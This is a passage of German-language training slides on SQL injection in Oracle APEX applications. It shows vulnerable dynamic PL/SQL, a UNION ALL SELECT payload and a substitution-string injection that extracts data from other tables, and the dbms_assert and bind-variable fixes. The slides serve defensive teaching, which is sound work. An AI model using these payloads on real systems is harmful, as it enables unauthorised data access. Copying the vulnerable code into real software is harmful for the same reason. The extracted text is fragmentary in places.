END;v_sql := v_sql || '; END;';

IF :p11_search IS NULLTHEN

EXECUTE IMMEDIATE v_sql;ELSE

EXECUTE IMMEDIATE v_sqlUSING :p11_search;

END IF;END;

108

SQL Injection

19.11.2014

• Function Returning SQL.

• Die Funktion sollte eine SQL Query zurückliefern, die die Liste der Supplier anzeigt:

DECLAREv_query VARCHAR2 (4000);

BEGINv_query :=

'SELECT bp_id, bp_title,bp_sap_no, bp_desc



THEN 'UPPER (bp_title)'ELSE '''' || UPPER (:p10_search) || ''''

END;RETURN (v_query);

END;

109

SQL Injection

19.11.2014

• The SQL Injection kann wie folgt ausgeführt werden:

%' UNION ALL SELECT prod_id bp_id, prod_title bp_title, prod_pt_code bp_sap_no, prod_valid bp_desc FROM om_products --

110

SQL Injection

19.11.2014

• Der Bericht wird dann die Produkte aus einer ganz anderen Tabelle anzeigen und nicht die Supplier-Liste:

111

SQL Injection

19.11.2014

• Die Lösung ist im PL/SQL Block rot markiert:

DECLAREv_query VARCHAR2 (4000);

BEGINv_query :=

'SELECT bp_id, bp_title,bp_sap_no, bp_desc



THEN 'UPPER (bp_title)'ELSE 'UPPER (' || dbms_assert.enquote_literal (:p10_search) || ')'

END;RETURN (v_query);

END;

112

SQL Injection

19.11.2014

• Substitution String

• Die PL/SQL Expression für das Element P12_SEARCH sollte eine einfache Meldung auf der Seite anzeigen.

113

SQL Injection

19.11.2014

• Wenn wir aber die Meldung wie folgt modifizieren:

Test');apex_util.json_from_sql('SELECT * FROM om_prod_prices WHERE pri_price > 40

114

SQL Injection

19.11.2014

• Bekommen wir folgende Infos auf der Seite angezeigt:

115

SQL Injection

19.11.2014

• Die PL/SQL Expression für das Anzeigeelement kann wie folgt geändert werden:

• Im Original war das so:

apex_util.prepare_url('f?p=&APP_ID.:12:&APP_SESSION.:::P12_MESSAGE:'||:P12_MESSAGE)

apex_util.prepare_url('f?p=&APP_ID.:12:&APP_SESSION.::::P12_MESSAGE:&P12_MESSAGE.')

Documents

APEX Security – wie sicher sind Ihre APEX … · ... ein Buch in Deutsch und eins in ... der Daten und der Interaktion gut genug ist, ist auch eine Anwendung sicher. 24 ... Schutzt